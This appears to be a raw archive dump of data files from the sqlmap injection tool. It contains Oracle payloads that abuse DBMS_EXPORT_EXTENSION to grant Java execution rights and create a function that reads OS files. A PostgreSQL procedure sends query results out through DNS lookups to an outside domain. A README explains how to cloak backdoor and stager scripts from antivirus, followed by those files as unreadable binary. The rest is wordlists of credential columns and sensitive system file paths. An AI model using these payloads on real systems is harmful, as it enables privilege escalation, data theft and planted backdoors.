e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL sqlmap-1.9.6/data/procs/postgresql/000077500000000000000000000000001502261744200172715ustar00rootroot00000000000000sqlmap-1.9.6/data/procs/postgresql/dns_request.sql000066400000000000000000000010301502261744200223400ustar00rootroot00000000000000DROP TABLE IF EXISTS %RANDSTR1%; # https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required CREATE TABLE %RANDSTR1%(%RANDSTR2% text); CREATE OR REPLACE FUNCTION %RANDSTR3%() RETURNS VOID AS $$ DECLARE %RANDSTR4% TEXT; DECLARE %RANDSTR5% TEXT; BEGIN SELECT INTO %RANDSTR5% (%QUERY%); %RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\''; EXECUTE %RANDSTR4%; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT %RANDSTR3%();sqlmap-1.9.6/data/shell/000077500000000000000000000000001502261744200150475ustar00rootroot00000000000000sqlmap-1.9.6/data/shell/README.txt000066400000000000000000000012561502261744200165510ustar00rootroot00000000000000Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility. To prepare the original scripts to the cloaked form use this command: find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; To get back them into the original form use this: find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; sqlmap-1.9.6/data/shell/backdoors/000077500000000000000000000000001502261744200170165ustar00rootroot00000000000000sqlmap-1.9.6/data/shell/backdoors/backdoor.asp_000066400000000000000000000003631502261744200214500ustar00rootroot00000000000000=ܩt bRU&hR} DtC!3y >7 pQMb-{Y?=lٲ ]6a\5 ]iZ*pO|SkC)1Os|Ef@l{a2(Pr8Cөn%f ߚ A=@(x~ֱ$ˉ)9GdxaP'A6xtȿ,x#}njA˭%ҡӋH! u%*l8ش{:1)CF$p.#F6[ n 󵍱w>Lh̦wAۂq`\zXZxj9?+ah>J4epJwRfj A_CZ1Y^:Ŵ،HmN@5'@A DDǥ)lo;K5H/kp*8;Z\28gBJT֞Q;qk"eO*)u2$΂ *0֍Wf蚈J н~D(5ztqWELױ8S% Aw)[Gٜ//]Ozʰi+iucQKlArHS1< 15Yksٓ1a2sb< |GX/qUTI.]ɳK=}/[d8r:ٛC‹:O ,I S4ŞVe}Ftzt j05:z6v͎8I/Z!CUfYn}!RT` ^ѤSctY9I4sO04E=/ٮqMD +K{ɜXdCLf7A/dCIoƉ4H>²6s[GQFu<y|'Jk@%wBj4`9CvwiJX>tWgxk~ . (ggZXpQ ]g%xJr ^lBx9ӵ@^4Ʉ.gbuU>t+t&p hHM㾼w[^q6n_=kFZL4[-XZCX`V 6 N"mdj 1j'U R@\hsqlmap-1.9.6/data/shell/stagers/stager.aspx_000066400000000000000000000010211502261744200210320ustar00rootroot00000000000000=?9t$4S_rid N: ߪPun~ɜrMIpzmzQn~_5Ld೘&ˤDb%˾bR@ܕzO]/_ eoGc*C"P|=4rO*pwJqʵA,ժ ]tuj3~dh4*?23Mpp~Z.|F.z7$2pfOLx,ks&< V|.YMy7g=@~gPCڰ`3|70ܨ5dZ')ИeFo3Db=ǐR =8׌9h^ %0ȶBbTD4?YbT[:Cj'Ѻ?7>aCsqlmap-1.9.6/data/shell/stagers/stager.jsp_000066400000000000000000000024511502261744200206630ustar00rootroot00000000000000=9 :rnaV5&Ȃ=$ 0`c|)챪E_LHްyL6z.b0˶Mn}NWbfP"bW;HTl)ŇhH.׳$+Uj¥ PE>@Yu;FBX+0ۭOAu_? 2u,ހ*pQ(J43el*p|68X*Z*]!)e2RgI9o@-I]qB/ڛ~/,K~.‚ҳA0`/~1Կ@bKӫ]O{D ) Hb(ziҚ&~~RJ T{g8$yѿ[18>VhOVH=8j5||t?m"l CNժ 7- <2S V&أs1*J7Uܓ>Al0ERb-%+JGǹU]s$OfS"FipC5 `i9Cc%Rgrq?jfqռ@(""Jb'"ʥ$ѧݢD®dUTU̾2feѶNuBhsqlmap-1.9.6/data/shell/stagers/stager.php_000066400000000000000000000005731502261744200206610ustar00rootroot00000000000000==,u!̸=xnhR+8J++fo.B":~WI'`35 _!'51/&8r-v"ц(k]􍸳PS]&nJ~=GI 7B$,ip6Y-+?k&ƔPCn]BdAF-;Tv L)崌3CNk&\f\VEY mkҗw\-,moBCzlMcƟۓ[<*ZrdՎud]] A0M=rPVV,:lu M\b5dr34#5>L:d)6!sqlmap-1.9.6/data/txt/000077500000000000000000000000001502261744200145575ustar00rootroot00000000000000sqlmap-1.9.6/data/txt/common-columns.txt000066400000000000000000000642701502261744200202770ustar00rootroot00000000000000# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission id name user_id description username type title userid group_id first_name itemid category_id firstname code pno nextval hostid table_name cid email smtp_helo platformid dept_id album_id key_ the child_cfg jid platform expression functionid smtp_server uid clock alarmid alertid private_key actionid triggerid triggertemplateid local_spi delay sid mediaid peer_cfg smtp_email order_id shared_secret itemtemplateid certificate insertid role_id song_id item_id product_id blob_id distip artist_id empno customer_name grade branch_name portal_id deptno data rid app_id class loan_number countryid enabled fname country ename object_id idtype groupid rowid accno account_number event passwd sequence_id datarow owner_id display pid venue locked eno serviceid alias categoryid canoccupantsinvite keyword channel_id loginrestrictedtonickname registrationenabled logenabled ip maxnumber tag_id alert_id cananyonediscoverjid address sumdatarow emp_id ono anyone surname subdomain maxusers ccc datacol os status_id node_id essn last_name iteration canchangenickname canoccupantschangesubject membersonly created_by succ_rate dnumber service_id mid publicroom propvalue empty_days moderated customer_id wdatarow persistent authorid patch_status_id submitted_by resolution_id osvendor routeid arch fid assigned_to ns event_id problem_code city note channel element_id cat_id position_id schema_id area bug_category_id session_id project_id random nsprefix archive_id nsschema view_id pname bug_group_id lastname link_id langid catname bug_id magic_string m_id zip patch_category_id custno idcountry stopid identifier category isbn group_project_id extension_id state password page extension spellid dno instanceof network priority aname person_id ncbofile student_number term_id uno path_id aid location_id propertyno course_number tid langug_code variable dept_desc orderno ownerno partof clientno white macaddr jobtypeid direction md5sum orga_id parentcategoryid beginstateid mname qno src featurename client_id route_id ticker version modulename maty_id currentstateid userinfo_id column_id imageinfo_id staffno lid metadatainfoid context app_title dest attributecategory_id operation_type dnum pers_id_registerer datasource connectorid our_loc country_name dname capital search_id statechangeid rightid endstateid distconnectorid walnut distmacaddr pixsize jobid revid match_cid branchno prepend_digits stockno ncbofileid object_type type_id pubid qagent office db_name bank dummy storyname col petty qname store_id inv_id inventory gift cno item c_sec_id row_id price loc_id ssn c_id sname parent allowance color group_name accounts vendorid gifi_accno movie_id rate company subid commentpath protocol_action_id topic_id s_id config_id long link copyright vehicle customerid customer f_id chart_id url host loans charttype imagefile data_set_id guest_ip biosample_id affiliation_id os_id street_id book_code object_name start_date form_id itemno provincial confid ratingid drinker qname_id whatsdom config_name ship_id investigator_id smilies_id cal_id license_id conf contact_id procedure_id column_name chromosome_id tf_key agent_specialtyid users_id gid publisher_code setting format_id word slogan superssn product referredby operationid ban_ip p_id lbl_aom_unaccessible_shipmethod origin comment_id product_version probe_id orderdate ordernumber data_type_id publisherid lake_id course_id questionid student_id user_name answerid hashtag preference_id author_num branch_num derived_id factoryid filterid log pnumber specialtyid plugin_id aa file dept_number action_attribute_id cpr storeid progenitor_id staff_number deptid semester poi_id part_id cell_line_id transaction_id agentid regionid token serial_no experimental_data_set_id cp_id the_geom model o_id personid display_name salesperson_id dependent_name license tablename employee_id e_id id_group location bb languageid int4 msg_id department book_id ingredientid action_type_id maker app id_customer this entry_id county_id protocol_type_id empnbr unit_number bar studentid dbid title_id cname emp_num owner course_name editionnumber sessionid mealid com_id text chip_layout_id watchlistid qty data_set_type_id orderid module_id c1 dlocation domainid course_no mgrssn id_log access_control_type_id account_id checking protocol_id request_id settingsid lname sale_date module_addr flag # spanish usuario nombre contrasena consumidor clave tecla llave chaveta tono cuna correo contrasenia # german benutzername benutzer passwort kennwort parole losungswort losung kennung motto stichwort schlusselwort # french utilisateur usager consommateur nom mot passe cle touche clef # italian utente nome utilizzatore parola chiave tasto pulsante chiavetta cifrario # portuguese usufrutuario chave cavilha # slavic korisnik sifra lozinka kljuc # turkish isim ad adi soyisim soyad soyadi kimlik kimlikno tckimlikno tckimlik yonetici sil silinmis numara sira lokasyon kullanici kullanici_adi sifre giris pasif posta adres is_adres ev_adres is_adresi ev_adresi isadresi isadres evadresi evadres il ilce eposta eposta_adres epostaadres eposta_adresi epostaadresi e-posta e-posta_adres e-postaadres e-posta_adresi e-postaadresi e_posta e_posta_adres e_postaadres e_posta_adresi e_postaadresi baglanti gun ay yil saat tarih guncelleme guncellemetarih guncelleme_tarih guncellemetarihi guncelleme_tarihi yetki cinsiyet ulke guncel vergi vergino vergi_no yas dogum dogumtarih dogum_tarih dogumtarihi dogum_tarihi telefon_is telefon_ev telefonis telefonev ev_telefonu is_telefonu ev_telefon is_telefon evtelefonu istelefonu evtelefon istelefon kontak kontaklar # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) user pass cc_number emri fjalekalimi pwd customers_email_address customers_password user_password user_pass admin_user admin_password admin_pass usern user_n users login logins login_user login_admin login_username user_username user_login auid apwd adminid admin_id adminuser adminuserid admin_userid adminusername admin_username adminname admin_name usr usr_n usrname usr_name usrpass usr_pass usrnam nc myusername mail emni logohu punonjes kpro_user wp_users emniplote perdoruesi perdorimi punetoret logini llogaria fjalekalimin kodi emer ime korisnici user1 administrator administrator_name mem_login login_password login_pass login_passwd login_pwd psw pass1word pass_word passw pass_w user_passwd userpass userpassword userpwd user_pwd useradmin user_admin mypassword passwrd admin_pwd admin_passwd mem_password memlogin e_mail usrn u_name uname mempassword mem_pass mem_passwd mem_pwd p_word pword p_assword myname my_username my_name my_password my_email cvvnumber about access accnt accnts account admin adminemail adminlogin adminmail admins aim auth authenticate authentication blog cc_expires cc_owner cc_type cfg clientname clientpassword clientusername config contact converge_pass_hash converge_pass_salt crack customers cvvnumber] db_database_name db_hostname db_password db_username download e-mail emailaddress full group hash hashsalt homepage icq icq_number id_member images index ip_address last_ip last_login login_name login_pw loginkey loginout logo md5hash member member_id member_login_key member_name memberid membername members new news nick number nummer passhash pass_hash password_hash passwordsalt personal_key phone privacy pw pwrd salt search secretanswer secretquestion serial session_member_id session_member_login_key sesskey spacer status store store1 store2 store3 store4 table_prefix temp_pass temp_password temppass temppasword un user_email user_icq user_ip user_level user_passw user_pw user_pword user_pwrd user_un user_uname user_usernm user_usernun user_usrnm userip userlogin usernm userpw usr2 usrnm usrs warez xar_name xar_pass # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html account accnts accnt user_id members usrs usr2 accounts admin admins adminlogin auth authenticate authentication account access customers customer config conf cfg hash login logout loginout log member memberid password pass_hash pass passwd passw pword pwrd pwd store store1 store2 store3 store4 setting username name user user_name user_username uname user_uname usern user_usern un user_un usrnm user_usrnm usr usernm user_usernm user_nm user_password userpass user_pass user_pword user_passw user_pwrd user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) fld_id fld_username fld_password loginname pasword permission perm user_group tendn tendangnhap tenquantri tenquanly tennguoidung ten tennd nguoidung nguoidungid quantri quanly u_id accountname account_name matkhau matma paswd pas tukhoa login_pas loginpassword loginpasswd loginpass loginpas loginpwd secret secret_code secretcode administrators adminpass adminpassword adminpaw adminpwd adminuid upass level mima sb_admin_name sb_pwd client clients ipaddress files family admin_psw administrateur adminpsw adminupass adress aide articleid content dw feed feedback glmm isadmin key keywords mpassword msn musername newsid numer passer pe_aduser pe_user power pswd pwd1 qq stocker sysuser telephone texte userpasswd usr_nusr usr_pw website wind compte comptes objectif authentifier authentification fissure adressee-mail complet groupe hachage connexion membre membres mm p u mot_de_passe_bdd mon_mot_de_passe monmotdepasse ignatiusj caroline-du-nord nouveau sel recherche utilisateurs o konto rachunki administratorzy pomoc cel uwierzytelnienia uwierzytelnianie kontakt klient danych adres_e-mailowy grupy obrazy spis dostawcy nazwisko zaloguj nowy telefon seryjny ustawienie kod stan sklep1 sklep2 tekst zytk konta rysa adrese-mail ecolo tat yh yhm yhmm yonghu # site:br content_id codigo geometry published section_value tidcliente menuid pollid bid moduleid gab_pergunta tipo template multilinestring aal_aluno ava_professor adm_nivel lec_codigo per_codigo lec_disciplina gaip_codigo acl_id niv_codigo quantidade attribute_id gaia_codigo alu_matricula nota gab_codigo field_id ava_codigo aal_codigo message_id avi_codigo fre_disciplina groups_id nome_cliente pc lec_professor idusuario poll_id dis_codigo ava_disciplina gap_codigo avp_codigo aai_codigo fre_aluno fre_codigo adm_id id_estado aap_codigo pro_matricula gp xlancamento municipioprestador product_price_id country_2_code shopper_group_id manufacturer_id com_natur review_id xtipo_de_acao bookmark_id xequipe_padrao faixas_id xcliente deducoes_id xcategoria xencerramento idx_item xcadastro quantitens additional_htmlblob_users_id ipi xfase_de_vencimento permission_id xdecisao i_end xforo order_item_id mo grafica_id news_id enderecos_id desccompensa desconto creditcard_id card_id cardid idcard creditcard cardnumber cardno itens_id senha order_status_id id_seq municipio_id additional_users_id order_status_history_id function_id controladas_id ator_id shipping_rate_id htmlblob_id css_id xfase fieldvalueid main correcaostrategy_id fonte xmetodo_atualizacao desd_xdecisao jurosstrategy_id fielddef_id especie_id idcategoria xgrupo indice_id xprocedimento xcustom1 autor_id newssummarycategory icmsinterno nonnavigable domicilio_id notafiscal_id userplugin_id shipping_carrier_id municipiotomador natureza solicitante_id mbpp xcustom2 template_id chave_primaria desd_xforo payment_method_id nome_agencia pessoa_id uprdescricao export_id logo_id prazo_xevento tomador_id serie_id tidclasfiscais atividades_id logradouro_id xadvogado xequipe handler_id xobjeto multipolygon tipo_id xproprietario state_id mopc valorcontabil xprocesso coupon_id currency_id parameter_name contribuinte_id xcubo country_id id_fatura serienfe_id tax_rate_id waiting_list_id download_id emissao screen xcustom3 mbpc documento_id xcustom4 fieldid point xsituacao icmssp tidproduto pp empresa_id i_tel contador_id telefones_id estado_id xevento site order_currency xprocesso_apensado multastrategy_id saida grupo_id guid_sessao indice xjurisdicao news_category_id mf_category_id product_type_id xusuario vendor_id sitepref_name desd_xjurisdicao option_id xrelatorio codusuario id_cidade user_info_id desd_xfase situacao file_id zone_id id_servico situacao_id tidfornecedor valor2 valor3 valor4 valor5 origem few idxatv mopp prestador_id xprognostico xclasse log_id xadverso guid_email guiaavulsa_id pl vendor_category_id venc3 venc2 totpc venc5 venc4 xserie order_info_id an totpp totpv imagen_id esquema atividade_id xgarantia discount_id xnatureza group_perm_id category_child_id newssummaryauthor and_xevento # site:de rolle_nr standort_nr ja persnr vorname width titel filename post_id swidth height vorgaenger matrnr kursnr notification_type sheight style_id startnummer bezeichnung basename kat_id whabfragen struct_id havabfragen abfrsql vorlnr ban_id forum_id rank_id nr k_id nachname ort key_id groesse datum image_id entry speise_id word_id absatz_id class_id mail_id zid ticket_id queue_id pid1 pid2 currval forum organizationid institute_id history_id my how after meetingid mitarbeiterid idgruppe re artikel_id top perid pers_nr idstelle messageid acctid address_book_id article_id com kid rule_id kosten plz confirm_id race_id vis_id descr seitelayout_id vote_id g_id activated show guy vtyp_id timeofmove views meta_id blz bookid teilnehmernr weaponid region_id resultid calendar address_id pos d_id serverid cd answer_id categories_id start site_id price_id az mnr cis_id config_key address_format_id tn tax_id mountname standard schweiz partner_id idkontakt eventid oldstate topicid sonst pk mountcategory von orders_recalculate_id block_id knr msgid ortnr seiteabs_id id1 um paperid send wid gi lieferant orgid profile zugang allow unique_id taskid configuration_id jcode ex_id blog_id who section_id mindk beschreibung schl you object_link_a_id disallow_id strasse option_name q_trid summary_id gameid # site:es catid dni prune_id anid linkid qid word_text id_cat eid privmsgs_text_id downloadid hid themes_id privmsgs_id codi requestid ratingdbid edad secid sitename artid gallid main_module contactid aro_id replace total root prodid id_paciente mosloadposition de mossef ordid stdprice advanced super editor rol editors mosvote agent en searchbot cod_aplicacion manager geshi author coste mos menutype session_ip publisher texto actor_id mosemailcloak none id_tra sistema help custid value_id nompuerto legacybots id_enfermedad tinymce nivel locale load format registered moscode results search_term mosimage sin mospaging que sef dorsal coste_total legacy btn repid parent_id time_stamp bannerid # site:fr numero id_auteur titre lang tag id_forum id_groupe id_article alliance1 alliance2 id_message num fichier id_user id_syndic dico id_rubrique id_document id_breve id_signature id_type ide id_syndic_article id_mot n_agence ville codepostal sess_id num1 constraint_name n_type theme_id image referer_md5 id_fragment new_id version_min liste id_version prix terms_body prenom nid n_client n_compte apid n_dept n_dir age # site:ru dt_id subdivision_id sub_class_id comments cmtid tags checkbox ct_id part lastupdated customsettings catalogue_id relationmessage englishname ba_num_reads at_id bs_setting am_id t2 t1 message blogcommentsaccess_id sub_class grfilt tempprovkredit ostdate koef bms_cat_id bd_id field2 field3 dd kredit callend gcode blogcommentsaccess sender udal bcf_id bfs_id schet grcode blogcommentssub blogpermissiongroup_id us_id bv_id bvo_id rusname gbid kontr600 realiz_opt bs_bid bb_id bf_id wuser v_id sklad sd object_sub_class_id callstart myexec relationsub id_photo bfl_id bml_id blogmessagesaccess bn_id bsu_id id_links bo_id dates kontr620 pom object_parent_id ostatki tovar oid bsm_id mn_id pcode id_poll_ip groupcodes codeid fot_id spell_id typenamekeeper bt_id odate bdate bs_id id_paragraph t4 t3 nt_id id_contact korschet data_in id_msg bc_plugin summaprihod boe_c_id bct_id grkntr btt_id string tl_id subdivision_name bc_id bfp_id bcfs_id vcode id_refferer ssschet sessid im_id id_poll ba_num_voted kontr60 id_ip kre1 ord_id kc bbt_id bst_id bftt_id blogpermissiongroup it_id chost bo_order_number ba_id object_sub_id hidden_url bms_id pnds pt_id realiz id_catalog wdate bff_id matcode bur_cat_id bsl_id blogmessagesaccess_id bcena ostatkii ost1 bvr_id prih bu_id bp_id isview id_artpage tb_id bst_time ba_order_num username1 id_answer rt_id bot_id korschetfilter st_id summachp vt_id data_out journals enumtypid scriptname result bsur_id keyname handle ba_date blogcommentscc lg_id bft_id ft_id toorg debet orgcode partstring id_product bte_id pu_id mt_id edate community bpe_id grtov id_page boe_id sut_id task_id object can voteid operation_id city_id list page_id banner_id error language_id val parol familiya imya otchestvo # site:jp dealer_id modify_date regist_date comment payment_method service_name file1 rel_id sub_large_image3 sub_image6 sub_image4 sub_image5 sub_image3 sub_image1 fix companyid formid charge page_name deliv_fee category_name stock_unlimited sale_limit nam target_id tempid point_rate payment_image confirm_url dt document_id productid ken_kanji attname parent_category_id module_name main_list_image create_date conkey product_code price01 price02 classcategory_id1 seminer_id classcategory_id2 newrow update_date classcategory_id yeartag job relname comm main_large_image sub_image2 deliv_id idx comment5 bloc_row ndc comment6 comment1 comment3 comment2 creator_id bloc_name equip_id recommend_product_id file3 file2 jiscode file6 file5 file4 news_date rank sub_title5 sub_title4 sub_title6 sub_title1 sub_title3 sub_title2 txt loc fee committee_id module_code pref disp_name pref_id deliv_date_id relid upper_rule main_image umeta_id template_code edit_flg comment4 kiyaku_title hiredate csv_id sal attrelid deptname main_comment sub_large_image4 sub_large_image5 sub_large_image6 php_dir sub_large_image1 sub_large_image2 bloc_id test tpl_dir del_flg stock sale_unlimited sub_comment4 sub_comment5 sub_comment6 manuscriptid sub_comment1 sub_comment2 sub_comment3 main_list_comment mgr product_flag rule c_commu_topic_id c_diary_comment_log_id # site:it idcomune idruolo idtrattamento idpaziente matricola idpersonale idasl idanagrafica idciclo iddocumento idservizio idricovero idclinica idcamera idtipociclo idsistemazione idtiporicovero idtiposervizio idsesso idpagamento idtipodimissione idletto iddescrizionedocumento codice cognome idtipodocumento idstatocivile idtipologiaservizio idtipotrattamento idmedicofamiglia idregistro idreparto iddistretto idprovenienza telefono eta figlio reddito denominazione anno idbocca idcartellaclinica idsistnerv idappargenit idtipotrasferimento dataricovero idcuore cap descrizione idocchi sede idricoverohatipologia noteaccettazione dal datadimissione idorecchie idcorpo id_provincia idtipologiaricovero id_regione idapparlocom idcomuneresidenza created_at datanascita corso idanamnesifamil idesameobiettivo idcapo idsmaglog sesso impiegato luogonascita idcute idcollo idsistresp dipsede cellulare idaddome php idnaso cf idstatogenerale idtrasferimento indirizzo genitore dipnome updated_at idlinfonodi groupname shop c_name plugin_googlemap2 jfalternative post_status localita prz_merce_fis idgroupacl comune ana_codice utenteid mod_gtranslate idlocation rating_id online_id jfsections idextra categories luogoid nroordine stat_name gender oggettistica gru_userid pv_id parigi direct pm_id idperiodo idarticolo what can_codice sub id_nazione client_name acc_codice mod_freeway_services cleanurl newyork idcategory active box prc_sconto1 prc_sconto3 prc_sconto4 disma iddiscipline job_e_date risultato mod_arcadebtn jfrouter apply unit newcollection customenu prova cod_utente_mod helvetica send_id mf_desc nroarticolo mod_ninja_simple_icons sessione cdele statoattivitaid bracciali zenzaro cod_valuta collane tabella newyorkenglish grp_id var_id sot_proposta_e virtuemart enteid rpad auth_id realname attivitaid readmore freewaylogin idconfig pin pins csc cvd cvv cvv2 cvvc ccv ccid qta_merce charms diritto accessori mod_signallogin remember mod_virtuemart_featureprod padre prc_sconto2 enter idgara morfeoshow lingua piede gtranslate under_menu id_disciplina nomedip before mod_virtuemart_search arial job_id config_item add_date jfdatabase madre idragsoc idsubscriptiontickets loadmodule jumpmenu idsocieta category_img portachiavi mf_name codicepaziente mod_virtuemart_randomprod ninja pro_codice mod_vm_cat_menu_specific vinod newsfeeds id_palestra mod_custom css debug side dipart areainterventoid mod_flashmod tipologiaenteid emailcloak mod_freeway_events id_logho codicemedico nuova catarticles dst gru_codice idutente idutenti job_title schedaid idmlattach zonainterventoid totfasciaeuroid structure_id att_codice blogger plan_table_output pagenavigation idplugin vote mod_freeway_subscriptions idconn cerca system langkey app_gruppo_e term_taxonomy_id statement params oggetto mod_cpmfetch signallogin id_passwd codrappr coddoc statoavanzamid nrsez idmlgroup rated_id kwick id_citta prc_magg1 prc_magg2 flg_fiscale banner_url attribute_sku_id mod_product_list end_date_time purchase_id client_url vm_manufacturer_category pfs_id veteran mod_cd_login menu_selezione ruoloenteid ele_codice pl_id payment idmlmail mod_virtuemart_currencies freeway annoid cod_dep area_id prg_art alias_area_id sent po_id yoologin sys_context mod_enugene idnotsentmails mod_virtuemart_manufacturers menu cache prg_movimento_riga url_md5 ldap tvoti villiam full_news yoocarousel main2 main3 dat_utente_mod user_alto pff_id smilie_id mod_date banner pinsn codice_comune vm_payment_method idclassificatore idgroup progetto mod_freeway_shoppingcart payment_extrainfo cost_id gmail dat_movimento mod_jt_slideshow campo_bol idcliente prz_merce hdesc fp_id jt idfile ji mod_catarticles mod_virtuemart_latestprod mod_customenu app_utente_e prg_movimento include_date cod flipper naresh cache_language_id id_preventivo config_owner header mootoolnicemenu qualificareferenteid modhome id_annuncio idtitolo source charmsn swf tutor mod_yoo_carousel portachiavin idevent mod_mainmenu jfcontent item_cd tpref id_news mf_category_name iddesign moduledir cod_clifor fkidannofdr mod_donimedia_select_box_menu_type1 jfcontacts jpg client_desc mod_freewaylogin mod_translate flscrvpre grand mf_category_desc payment_method_name extended mod_vm_prod_cat_full mod_freeway_admin orecchini nlista jfcategories mod_cssmenu mod_lxmenu mod_flipper_img_rotator fkidanagrafica id_comune statement_id idatleta inactive mod_sidebarmenuapplestyle candidato ref_url testq ind_clifor xmlrpc pingback_id l_col_list fs_id press mod_freeway_products semo bijoux rakesh modulo_contatti google vm_manufacturer vot_proposta_e brend post_date enugene nrcandi invoice home sot_utente_e settoreid weblinks contacts id2 codcliente news_title job_s_date sql_text affiliate backlink core id_attivita index_num etertre manufacturer cod_utente_cre cod_art ideventcategory dat_utente_cre cache_id joomla product_list coupon mod_sendcart bijouxn pagebreak idsessione arcade mod_virtuemart_topten banner_title flg_prezzo_con_iva partnerid vot_utente_e sections xstandard id_scheda vm_category mod_jumplink exclude_date ruoloid contenuti accessorin coppermine banlist_id offerte idticket idsubscription beneficiarioid oggettistican jfnewsfeeds anelli ship imenu na nb get_ddl short_news openid titoloprogettoid connection_id mod_kwick_sliding_menu matr id_richiesta idoggetto lxmenu text_id user_basso ver_codice mayank idgrouppermission modules client_img does_repeat # site:cn typeid cronid advid admingid payid tagname optionid templateid applyid searchid styleid medalid pluginvarid fldfuntype fldfunindex displayorder pluginid fldfunopen fldfunid fldfunhref fldfunmemo fldfunname mobile invisible polloptionid cachename tagid pluginhookid pmid fldfuninfo magicid keyid areaid logid folder allno vieworder classid topped msg topics rankid timeid iconid intro corpid replies operation announceid nickname goods_id attachment special hk_name stylevarid posterid curtopics allowbanip hide allowdelpost db_value picurl yahoo adid digest n_id hidden olimg lastpost signature lastposttime doid authstr tabid org_code typename allowstickthread departmentid allowmassprune identify old avatar allowedituser forumname descrip blogid allowmoduser lastposterid today tempfidlist feedid courseid olid hk_value xh allowpostannounce copy splitstring icon fidlist lastpostpmtime article former projectid avatarheight html alloweditpoll downloads channelid allowbanuser appid allowcensorword emailid lastexecuted decl_mail lastupdatetime billid vid lastposter allowrefund allowviewrealname installed lasttid postcount searchstring reason customstatus titleid newpms verifycode forumid attention readperm skype lastsearchtime bio lastpostid idcard postdatetime question poster sightml highlight pageid threadorder todaycount currentindex avatarwidth magic allowmodpost allowviewip pro_id iid decrip alloweditpost mailid lastforumposterid accountid tids medals fileid postid closed lastactivity newnotices allowviewlog expiration layer ishtml command brand_id disablepostctrl fieldname # site:id ajar akses aktif akun alamat batas cabang deskripsi foto harga hp jeda jenis jml judul jumlah kata_kunci kata_sandi katakunci katasandi kategori kelas keterangan kode kunci lahir nama nama_akun nama_ibu_kandung nama_pengguna namaakun namapengguna pekerjaan pendidikan pengguna penjelasan perusahaan ponsel profesi ruang sandi soal surat_elektronik surel tanggal tanggal_lahir telepon tempat tempat_lahir tmp_lahir universitas urut waktu # WebGoat cookie login_count # https://sqlwiki.netspi.com/attackQueries/dataTargeting/ credit card pin cvv pan password social ssn account confidential # site:nl naam straat gemeente beschrijving id_gebruiker gebruiker_id gebruikersnaam wachtwoord telefoon voornaam achternaam geslacht huisnummer gemeente leeftijd # site:cn yonghuming mima xingming xingbie touxiang youxiang shouji # Misc u_pass hashedPw # password (international) adgangskode aikotoba amho bimilbeonho codewort contrasena contrasenya contrasinal esmeramz facalfare fjalekalim focalfaire gagtnabar geslo gozarvazhe gunho haslo heslo hudyat igamalokungena iphasiwedi javka jelszo kadavucol kalameobur kalimatumurur kalimatusirr kalmarsirri katalaluan katasandi kennwort kodeord kodikos kouling kupiasoz kupuhipa kupukaranga kupuuru kupuwhakahipa losen losenord lozinka lykilord matkhau mima nenosiri nywila okwuntughe oroasina oroigbaniwole paeseuwodeu parol parola parolachiave paroladordine parole paroli parolja parool parulle pasahitza pasfhocal pasowardo passord passwort pasuwado pasvorto rahatphan ramzobur salasana salasona santoysena senha sifra sifre sisma slaptazodis synthimatiko tunnussana wachtwoord wachtwurd wagwoord sqlmap-1.9.6/data/txt/common-files.txt000066400000000000000000001363101502261744200177140ustar00rootroot00000000000000# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # CTFs /flag /flag.txt /readflag # Reference: https://gist.github.com/sckalath/78ad449346171d29241a /apache/logs/access.log /apache/logs/error.log /bin/php.ini /etc/alias /etc/apache2/apache.conf /etc/apache2/conf/httpd.conf /etc/apache2/httpd.conf /etc/apache/conf/httpd.conf /etc/bash.bashrc /etc/chttp.conf /etc/crontab /etc/crypttab /etc/debian_version /etc/exports /etc/fedora-release /etc/fstab /etc/ftphosts /etc/ftpusers /etc/group /etc/group- /etc/hosts /etc/http/conf/httpd.conf /etc/httpd.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/access_log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/php.ini /etc/http/httpd.conf /etc/inetd.conf /etc/inittab /etc/issue /etc/issue.net /etc/lighttpd.conf /etc/login.defs /etc/mandrake-release /etc/motd /etc/mtab /etc/my.cnf 